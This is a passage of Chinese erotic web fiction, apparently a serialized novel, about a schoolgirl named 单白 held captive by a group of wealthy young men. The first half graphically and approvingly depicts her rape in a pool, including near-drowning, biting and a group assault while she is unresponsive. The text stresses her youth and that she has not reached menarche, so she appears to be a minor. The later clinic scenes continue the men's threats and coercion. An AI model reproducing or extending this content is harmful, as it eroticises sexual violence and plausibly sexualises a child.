那语气,同乐正骁简直如出一辙。

陶煜千咧嘴一笑,一把将单白拉出水面。少女白嫩细瘦的身子瞬间一跃而出,细小尖挺的双峰,乃至小巧纤细的腰肢,视线慢慢滑下,落在了那光滑柔嫩的花瓣密谷处,白皙中夹杂鲜艳粉红,就连柔软的肌肤都飘着一丝一缕的漂亮绯红,简直是一道最无法错过的大餐,令人食指大动!

陶煜千将她双腿打开,正面架在自己双肩上,而那大开的密谷却正好对上他的一张脸,位置刚刚好!他低头一笑,启唇一口含住粉嫩的花瓣中,那掩藏极深的柔软嫩肉!

突如其来的刺激令单白几欲折腰,然而更深层的羞耻感传来,她又羞又气,握紧拳头胡乱捶打他的脑袋他的肩膀,两只白腻的小脚不停扑腾,挣扎着要跳下水,避免此刻光裸于人前的尴尬!

然而陶煜千两只铁臂牢牢环住她的细腰,力道紧的似乎要一下子勒断她的骨头!那么痛,几乎抵消他加诸在她敏感的花心处的种种快感!

单白几欲低泣,“求你……求你轻一点……”

陶煜千抬头,露出一脸得意,“早这样就好了嘛!我可是最讨厌女人不听话的!”

他又俯下头,灵活的舌尖在那瓣花心上面又是舔又是逗弄,灵巧的刺激的动作令单白几乎支持不住自己跨坐在他肩头的身形。

蜜道渐渐滑出细腻的汁液,满满地流入他口中,被他接个正着。陶煜千咂了咂嘴,不由得赞了一声:“头一次有味道这么好的妞!——阿夺,难怪你和阿罗要藏私,换了我,我也一定将她弄够了再放出来……不过真是滋养啊,香……真香……”

单白羞愤欲死,一手抵在双腿中间,却被他湿热的唇舌舔个正着。炽热的温度带着强烈的欲望直抵她的掌心,令她不由得飞快缩回了手,而他趁机再度将舌尖探入蜜道之中,戳刺挑捻无一不全。

蜜水汩汩流出,润湿他的唇舌,甚至有些渗了下来,慢慢湿透他的肩头。知晓她已然兴奋,陶煜千浑身一震,精神十足,将她放了下来。一手搂住她的腰,一手扶住自己的兄弟,推开她的双膝,重重捅了进去。

过于凶猛的巨大,以及毫无停顿的一挺到底,令单白痛得几乎晕厥。

然而陶煜千却极度兴奋。那粉嫩的小嘴里果然拥有更加销魂神秘的存在!那么紧窒,湿热好似有无数的小巧舌头,一点点舔弄着他的火热,在给他降温的同时,却又那么紧密地贴合着他的巨大,用力的推进,越发的紧窒,简直要缠死人,崩溃死掉都有可能!

陶煜千拉起她的双腿,缠在自己腰上,双臂搂着她微微抬高,恰好将一只嫩乳举至口唇附近。他俯下头一口含住,而身下毫不放松一分一秒地立刻抽动起来,每一下都重重抵在蜜道的最深处,浅浅抽出,用尽全力地深入进去!

单白只感到痛,痛极了!她高高仰起头,眼眶却干涩的流不出泪来,分担不了她的痛楚。

此举更加贴合了他的唇舌。身下的力道越发勇猛,而原本轻挑慢捻的舌尖在将那缨红茱萸逗引的挺翘起来之后,却随着越发强悍起来的激烈兴奋,他不由得张开嘴,一口咬在那椒乳的乳根之下!

立时,那里出现一个猩红的血印,单白痛不欲生,却激发他更加狂猛激烈的抽动!

猛地,陶煜千甩开单白,将她在水中翻了个身。两人身体飞快脱离,却在下一秒,陶煜千搂住单白腰腹,贴近自己,一手伸入水下去探她的蜜道入口,然后就势从背后狠狠插了进去!

殷家兄弟基本没有对单白用过身后位,而以单白的紧窒狭小本就不太适应正位,更不要说更加深入别扭的后位。而在水中,单白因着无法探足到水池底,即便被陶煜千推着躬身,却仍是站立的,这种身后位不仅令陶煜千进入困难,更让单白痛得直接感觉到甬道内有什么磨破了!

起初陶煜千只能进入一点,然而这一点要远比正位更加紧窒销魂,他哈哈大笑,一手用力按下单白的脊背,让她的蜜穴入口露出来,自己的进入更加顺畅无阻!

因着这动作,单白的整个上半身都被压在水中不得动弹。温水立刻流入她的口、鼻、眼,呛得她用力咳嗽,然而越咳嗽,却越向喉咙里灌水!

可以说,这简直就是一场单方面的折磨!

陶煜千扶着单白腰腹,舒舒服服潇潇洒洒地挺进挺出,而随着他挺入抽出的动作,单白单薄的身子时而越过水面,得来短暂的一丝呼吸。而随着越加激烈的动作,她能够呼吸和被水淹没的状态轮流交替,越来越快,令她无比痛苦,根本感觉不到任何激情!

不知过了多久,陶煜千长长呼出一口气,健腰用力一挺,将灼热的种子尽数喷洒干净。他刚放开对单白的禁锢,几近晕厥的少女便险些直直摔进水池深处,吓得他飞快将她又捞了回来。

将她翻了个面,正面对着他。陶煜千有些失神地看着她苍白的小脸,根本没有一丝激情后的绯红羞涩,简直一副见鬼的要死模样,心里一颤,不知怎的,缓缓低下头,将唇瓣有些笨拙地,抵在少女微微颤抖的小嘴上。

没有伸入舌头,只是那么轻轻抵着。

没有人知道,那是他的初吻。却是很莫名其妙的,在这样一场单方面的激情后,给了一个仿如骨头架子一般的少女。

下一秒,殷夺将她夺了回去,手指用力捅入少女的蜜穴之中,稍稍勾弄,便带出一大摊灼热粘腻的混杂体液,还有一丝猩红。

幸好不多。

殷夺狠狠瞪陶煜千一眼,后者摸摸后脑,耸耸肩,不太诚心地表示自己的歉意。

这样的捣弄持续片刻,便将单白疼醒了。

殷夺冷着脸,将单白摊靠在池边,自己起身爬上池边。他伸手招来殷罗,还有一脸餍足的陶煜千,同时挑眉向一脸悠哉的宗执示意。

宗执轻笑着摇头,被陶煜千指着鼻子大笑:“哈哈……宗执啊宗执,我看你就等着做一辈子的S系处男吧你!”

宗执扯过木托盘,给自己倒了一杯,向那边聚堆的四人敬了敬,“不好意思,我这S系处男还真就看不上你那千射万射的蜡枪头!”

陶煜千气得鼻子都快拧歪。

殷夺看向乐正骁,后者神秘一笑,却是轻轻摇了摇手指,而后再无动作。

殷夺自池边的一个小柜中取出一只透明小瓶,对着陶煜千邪肆一笑,“煜,你喜欢前面后面?”

不待陶煜千回答,殷夺却又抢先说:“不过不管你喜欢哪一头,方才你已经舒坦过了,现在你就后面吧,前面是阿罗的!”

陶煜千撇嘴,“切,既然这样,还问我干毛?”

这真是不平等的民主啊。

“快过来,别废话了!”

殷夺呵斥一声,而陶煜千自然不能错过好料,颠颠窜了过去。

殷夺将小瓶丢给陶煜千,让陶煜千抱着单白坐靠在池边。单白的身子被举高,殷罗在前面夹住她的双腿,而殷夺则跨坐在前,高高挺起的巨大直直对上单白毫无感觉的小嘴。

【这姿势真纠结……而且很诡异,貌似很不符合人体工学……但是为了难得的群P,请不要细追究撒……】殷罗以手开路,探了探湿度,确定后直接刺溜一下,挺腰全部没入。那熟悉的温热紧窒,一进入便令他怀念不已……整整一个月的禁欲,简直不是人干的事嘛!

舒舒服服地前后动了起来,殷罗也不着急,慢慢享受自己迟来的福利。

陶煜千将润滑液慢慢涂抹在少女的菊瓣附近,一点点打着圈,轻车熟路地引导菊瓣的舒缓绽放。菊瓣似乎慢慢开合了一个小口,他稍稍戳进一个指尖,少女颤了颤,却似是失去对疼痛或欢愉的敏感度,那菊瓣也未因着突然刺入而骤然紧缩。陶煜千大喜,忙慢慢推进,直到内里能够适应他整个手指之后,轻搅了搅,在里面转了转,才重新前前后后的进出起来。

殷夺握着自己的火热,推开单白紧闭的唇齿,将巨大缓缓推入她湿热的小嘴里。小嘴里炽热的温度似能将任何事物完全烤化!殷夺一进入,几乎要承受不住,当即用力戳深,几乎要深入到少女的喉咙里,引来她间或小小的咳嗽欲呕,却怎么也吐不出口中的巨物!

陶煜千慢慢试探地深入三根手指,内里的小嘴将他的手指含得紧紧的,却有因着足够的润滑,慢慢将三根手指全部包容了进去!再次深入浅出运动数下,陶煜千回味着方才那紧窒和销魂至极的感觉,头脑一热,当即迅速撤出手指,扶着兄弟便提枪上阵,向上猛地一顶!

“呼……”

这是陶煜千舒坦至极,终于进入后的兴奋低呼。

“啊……”

这是殷罗被少女甬道内壁的嫩肉猛然咬紧后,快要抵抗不住的崩溃低吼。

“嗬——”

殊不知,少女缨红的唇瓣不仅适合亲吻,更加适合做这种对接在一起便成了动词的运动!那么销魂,令人只敢极少数的尝试,怕次数多了都要怀疑自己会提前ED!

三人仿佛极有默契,每一次都同进同出,那么用力,仿佛要将这一生全部的激情都洒落在这副青涩柔嫩的身体里面。

殷夺抱住单白有些呆滞的脑袋,自顾自地越发大力地进出起来,感觉到少女的唇舌因着无意识地推拒抗争,而小小触碰舔舐了一下他的顶端,他一阵颤抖,当即发觉……自己已然要承受不住了!低吼一声,殷夺将全部热量尽数喷洒入她小小的喉腔里面!

陶煜千和殷罗也已至顶点,越发狂猛用力地抽动数十下,终于同时释放出来。一个伏在少女柔软的双峰间,一个双臂细密环住那纤细的腰肢,在她的雪背上烙下一个个细密炽烈的轻吻。

而单白,仿佛掉入自己的黑洞漩涡。或许什么都不去看,不去想,硬逼着自己不去感受……便不会彻底受到伤害吧……

第48话 假性怀孕

当手臂被人紧紧拉扯住,单白一下子回神,像是被什么梦魇住而终于回到现实。她猛地甩开那只手,然而身后却又伸来无数双手,揪着她,打着她,要将她再度扯回那无间地狱!

不——绝不!

单白回头,狠狠咬住最前方那只手的虎口,即便对方用力挥动,即便旁边有人毫不怜惜地猛甩她耳光,她也绝不松口。

当那些手渐有退缩的时候,她恶狠狠地呲着牙,冷冷一笑,回身向池边扑腾。然而头顶抵在一个坚硬的平面上,她丝毫不知那是什么,用力撞了上去——身后那些喧闹,以及纷杂的,担忧的,叫嚷的,慌乱的……各种各样的吼声叫声,都阻不住她头顶越来越剧烈的疼痛,以及渐渐迷蒙的意识。

迷迷糊糊中,她似乎从漂浮着的水面,被人狠狠拉了起来。想要挣动,想要摆脱那些手的掌控,可她的力气似乎随着头顶那个越来越大的缺口溜了出去,半点都没给她剩下。

低低叹了口气,她似乎感觉自己的嘴巴动了动,说了什么,可是耳边所有的声音都扭曲了,比混乱的电子音乐还要吵,还要怪。

单白慢慢闭上眼。

不管了,睡吧。

等到再次醒来的时候,她看到白白的天花板,白白的墙壁,壁角有天蓝色的喷漆,而她的头顶,是明晃晃的铁栏杆——那是用来吊水的支架。

看来她又一次进了医务室,躺上病床睡了一觉。仍然无梦。

她醒了,然而目光有些呆滞,只是那么直愣愣地望着天花板,抿着嘴不吭声,不知道在想什么。

一见她醒了,周遭或立或站的少年们纷纷涌了过来,连带惊醒床边趴睡的那一个。

“终于醒了……”

“你怎么样?”

“小东西,你别吓我!”

“醒了就好……说句话听听啊……”

“难道……她失忆了?”

此句一处,瞬间齐刷刷的数个“滚”爆口而出,将那个嘴臭的给轰到一边面壁画圈圈去。

单白慢慢向发声处扭过头。

床边那个胡子拉碴的……是殷罗?

脸上青肿连绵一片的……是陶煜千?

同样面色很差,但没有受什么伤的……是殷夺。

神色诡异,眸间隐藏着一丝担忧的……是应无俦。

一副看好戏的神情,还隐隐有些幸灾乐祸的……是宗执。

仍旧一脸优雅高贵笑意,站得最远,神态最悠闲的……是乐正骁。

她闭了闭眼。原来地狱仍是地狱,她仍走不出这个迷宫。

头顶传来一阵撕裂般的剧痛,她刚要伸手去摸,却被眼疾手快的殷罗一把抓住手腕,听他急声道:“别碰!你,你头顶受了伤,有些严重……别乱动,要不然不容易愈合!”

单白稍稍侧目,感觉大脑有些迷糊,想不起自己到底是怎样受的伤,居然还在头顶。

也许她这迷茫的目光太过骇人,握住她手腕的殷罗最先看到了,手心一阵哆嗦,快要连她那细瘦的腕子都握不住了,颤声问:“你说,我是谁?”

其他人一听,立刻心里倏地拔高,堪堪跳到嗓子眼,心跳瞬间飙升280,扑通扑通,那么用力。

单白眨了眨眼,轻声说:“我……是谁?”

BIA……殷罗大震,手一下子空了,单白的手腕落在床单上。

其他人嗓子眼里咕噜一声,当即窜上前,争先恐后地忙问:“知道我是谁不?知道不知道不?”

单白歪了歪头,拧拧脖子,露出一个天真可爱的微笑。

陶煜千猛地一捶身边的矮柜,“靠!这么一撞,她居然失忆了!居然真的失忆了!”

那语气,不知道是懊恼还是开心。

殷罗愣愣地望着单白,口中崩溃似的低喃:“失忆了……你失忆了吗……居然,失忆了……”

宗执毕竟是学医的(虽然还没毕业)有些疑惑,对于单白那抹天真无邪甚至前事后事既往不咎的笑容诧异极了,脸上玩世不恭的笑容收敛了些,拨开挡道的,上前伸手要拨弄单白的眼皮,却被殷夺拍开。

宗执有些不爽,“你做什么!”

殷夺怒,“我还想问,你在做什么!耍猴吗?”

“我检查……”

宗执说的底气不足,“在医师到来之前,我先帮忙查看一下情况——”

“滚!让你瞧病,还不如去相信猪不会追尾!”

殷罗还不客气地插了个岔,又毫不客气地代表哥哥口诛笔伐某男。

“切!”

宗执拂袖,气冲冲地退到一旁。

应无俦的视线带着一丝疑惑,一丝莫名的悸动,慢慢伸出手,轻轻盖住单白鼻子以下的部分。其他人都拿看怪物的眼神望着他。……像,真的是太像了……

应无俦只觉心跳忽地剧烈起来,那么狂猛的跳跃,仿佛他二十二年的人生在这一时刻,终于有了一次爆发!

他寻觅过,追查过,可是再难寻到那个人的踪迹……他找过那么多的替代品,有的是嘴巴相像,有的是鼻子像,有的眉毛像,有的则是声音有些相似……可是从没有哪个女孩子,会有如眼前这双眸子一样,那般与印象中的那个人如此相仿!

记忆中,那双温柔的眸子,闪烁着温暖和煦的笑意,那么清新开怀,只消一眼,便令他永生永世都甘愿为之沉沦……在所有线索都断掉,在他终于对寻找那个人心灰意冷的时刻,在他终于下定决心去找寻相似的替代品留在自己身边的时候,却也没有如同现在这样,希望这双相似眸子的主人,留在自己身边……

可是……她只是一个玩物啊,为什么一个下三滥的玩物,也能拥有那么一双令人悸动的眼眸!

应无俦猛地倒退一步,轻摇头,冷冷一笑。

不,只是错觉,只是错觉!

他头也不回地冲出门外,门扉在他身后重重关上,那么大的动静,令所有人心里跳了一跳,抖了抖,暗骂一声果然神经病症候群患者的典型症状!

所有人的视线都从应无俦匆匆离去的背影拉了回来,然而对上单白,却又更觉头痛。

身后,乐正骁轻轻哼笑。

殷夺环抱双臂,拉住正要冲出去叫一声的殷罗(分明2到忘了床头就要医生呼叫器……忽地冷笑一声,指着单白的眼睛说:“一帮傻子……你们看看,她拿看白痴的眼神瞧我们呢!”

果然,少女那天真无邪的目光看似纯净,然而却极冷,根本没有任何温度。他们身在局中,自是没有细细分辨她眸子里那抹讥诮冷厉的寒光。

众人哗然。

单白轻轻伸展腰身,巧笑倩兮,“喂喂,又不是我亲口承认失忆的,为什么要暗贬我?做什么这么生气!”

一时间巨大反差,事实境况被反转,殷罗有些回不过神,愣愣地问:“你……没失忆?”

下一秒,他越说越气愤,“既然没失忆,为什么要说那么令人误解的话!为什么?难道耍我们很好玩吗?”

单白哼笑一声,“拜托,话都是你说的,我配合而已,做什么都怪我?你说的是——‘你说,我是谁’,对也不对?”

殷罗刚想否认,陶煜千在旁边很配合地点点头,证明他真的有说过。

单白又笑道:“之后我也是什么都没说啊,只是轻轻一笑……难道,你们都被我迷住了么?我还满荣幸的。”

那明褒暗贬的话,简直令在场所有人都想拂袖而去。

陶煜千变了脸色,紧紧抓住她的手腕,恶意弯曲起来,看到她痛得脸色煞白,微微得意地笑了起来,“骨头架子,一恢复精神,又开始牙尖嘴利了?不过……你也嚣张不了什么时候了,不就是仗着阿夺和阿罗的宠爱么!看到头了你什么都没有,没什么可依凭的时候,看你怎么办!”

腕骨像要被拧碎,而因着他扭曲着手肘,仿佛骨头也快错位。单白疼得额角冒了冷汗,却是冷笑,“少威胁我!底牌在殷夺手里,哪里来的什么宠爱!——陶煜千,你不要自作聪明,真是要让人笑掉大牙!”

“呵呵……”

殷夺拍了拍手,表情很是愉悦,“小东西,你不说我还当真忘了呢……你说的没错,既然你都知道我们的底牌,咱们也不怕打打明牌,让你输也输得明白!好好养伤吧,养好了伤,还有的你‘享受’的!”

不知道他指的是什么,单白却没来由的骨子里泛冷。今天最恶劣的事情不都一一体验过了,还有什么可在乎的?

殷夺拉着脸色不豫的殷罗率先转身出门,陶煜千随后,宗执居高临下俯瞰单白,诡异一笑,也随着走出去。乐正骁慢慢站起身,却是上前,给单白掖了掖被角。

单白拂开他的手,“少假好心!”

犹记得这个家伙,当初多么义正言辞地指控她,有多么多么缺乏自信,拉开距离,不接受旁人示好和关心……她以为他是好人,以为遇到一束纯白无暇的光,恍如天使降临她面前,令她自惭形秽……

可是事实呢?

事实就是,他也不过是个不折不扣的伪君子而已。

这样想着,单白早已经过震动和惊诧,已然变得平静。即便在心里低咒这个伪君子,也不过是冷淡的语气。

越是发泄太过激烈的情绪,越是证明,她有多在意对方。她不想,也没有。毕竟只是一面之缘而已,又有什么可在乎可回味的呢。

乐正骁笑笑,并不在意她的恶劣态度。

单白转过身子——但因为头上的伤,也只有身子可以扭过去,头顶还是不敢乱动——这姿势真是别扭极了,也就是为了不想看到对方那张虚伪的脸。……只是没想到,泡沫破灭的速度,竟然这么快而已。她在心里慢慢对自己说道。

乐正骁轻轻拍了拍她侧过去的肩头,“太倔了,对你自己可没有好处。”

少女没有丝毫反应。

乐正骁微笑,仍是掖好被角,没再说什么,缓步走了出去,将门扉轻轻闭合。

片刻后,翻天覆地的恶心感涌上喉咙,单白一个克制不住,只能尽力趴在床沿,将喉咙涌上来的、肚子有的存货,还有别的有的没的,统统吐了个干净。

她吐得很用力,仿佛这辈子都从没有如此努力过。很快,似乎什么都吐完了,她开始呕胆汁,绿绿的,苦涩的,蔓延过喉,吐得几近麻木。

不知过了多久,单白虚弱无力地躺回床上。身边异物味道很重,她却几乎失却力气去按响医生呼叫器。

她想,我这是怎么了。

这答案,第二日在她再度呕心沥血地吐翻之时,被吓到的殷罗忙拍抚她的后背,为她顺气。即便呕吐物的味道有些令人无法忍受,到最后她都只是干呕,他仍尽心尽力地守在一旁,等到她稍稍舒坦些,便举着干净温热的湿毛巾为她清理脸旁的秽物。

殷夺在一旁深深皱起眉来。今天她吃东西都在他们眼皮底下,根本没有抠喉咙催吐的行为,也就不可能是她自残。据医师说,昨天也有好几次这种呕吐和干呕的情形出现,难不成……是怀孕了?

想想他们在一起的三个月(为了试菜做准备的这一个月不算,因为没有碰过她)虽然他和阿罗没有做过任何防护措施,可是都有事后喂她吃药啊……对了!一个月前,正是她给他们下药,而他们喝醉了酒,将她残暴3P的那一次,随后她割腕自杀,于是那一次似乎、可能、貌似真的没有吃药……

殷夺的眉头皱得更深,越想这个可能性越足,于是找来医生,说要给单白来个详细的、全面的检查,并特别提点医师,要重点关注肚子啊妇科啊方面的检查,绝对不能遗漏……

圣·艾易丝的医务室堪比世界级的大型医院,最新式多功能的医疗器材,保证令全面检查专业快速有效。全面检查完毕之后,不多时,几人便聚在医师办公室,静等着听医生对结果的宣判。

殷夺想了想,决定还是先问最震撼的那一枚炸弹,究竟有没有爆炸的可能性……“咳咳,医生,我最想知道的是,她……有没有,那个有没有……怀孕?”

难为殷夺天不怕地不怕,性狡而风流得令人恨得牙都咬碎,此刻却是无比忐忑不安地等待这个怀孕与否的结果。

然而……

医生遗憾地摇头:“抱歉,殷大少爷,单小姐并没有怀孕。”

那一瞬间答案揭晓,否定的判决令殷夺有些茫然,不知道自己一时间或喜或悲,却反而一径掉落成了无悲无喜的心情,到底算个什么!

心口似乎有些闷闷的痛,可是那痛却又不分明,仿佛只是割了一道小疤,简直可以忽略不计。所以他根本不知道自己究竟是期待,还是真的不希望有这么一个……形容不来,总之不会是孽种的小小东西真正出世。

耳边轰隆隆的,却仍能清晰听到对面的医师冷静宣判:“……经过检查,可以确定单小姐只是拥有各种孕期症状的假性怀孕。再加上她有轻微的厌食,所以引发恶心感和呕吐越加强烈……单小姐的体质很特殊,到目前为止仍然没有月经初潮经历……请问殷大少爷,是不是……呃,是不是让单小姐经常服用避孕药?”

殷夺木然地点头。

“那就是了……”

医生唠唠叨叨地说着,“虽然在医疗药方上,常常有间或疗程服用避孕药,用于催发女性荷尔蒙激素分泌的效用……可是长久连续不断的服用,即便是最顶级的避孕药,也会对女体产生极大伤害,更不要说单小姐未来过初潮的少女体质……”

“那会有什么后果?”

殷夺听到自己冷静的声音问道。

“是这样的……”

医生抬了抬下滑的眼镜,谨慎地回答,“如果长时间如此下去,那么恐怕单小姐很难怀孕……而若是经过细致的调理,那么还有可能将单小姐的内分泌调养恢复平常水准……但是……”

医生的欲言又止,惹怒了殷夺。他猛地一捶桌子,暴躁道:“有话就说,吞吞吐吐的,磨蹭个屁!”

医生打了个哆嗦,战战兢兢地回答:“就是……就是要么禁欲,要么还请殷大少爷您……做……做避孕措施……”

话音未落,殷夺夺门而出。殷罗双手袖在口袋里,无奈地耸耸肩。

让他老哥避孕?哈,他老哥可是享乐主义,曾说有雨衣,还不如不玩,简直是可以比杀了他还没有快感的事嘛!

可是……殷罗不禁也皱起眉来。

他对小孩子也没什么好感,更表说他现在也才十八岁耶,就算十九岁的时候身边有个小萝卜头,但他可不能保证,真的能将小萝卜头当个宝贝养!

再说了,小孩子吵吵闹闹,哭声超级烦人,还粘粘腻腻的,令人不得舒坦……虽然想想,居然会觉得小东西生出来的小萝卜头,一定会像她一样令人想捏圆搓扁一样可爱到爆,可是她的身体素质……真是令人不敢恭维,也……不敢冒险打赌。

殷罗有些期待,不知道哥哥究竟会怎么办呢……更不要说,等到小东西伤好,还有一系列针对她进行的“计划”呢……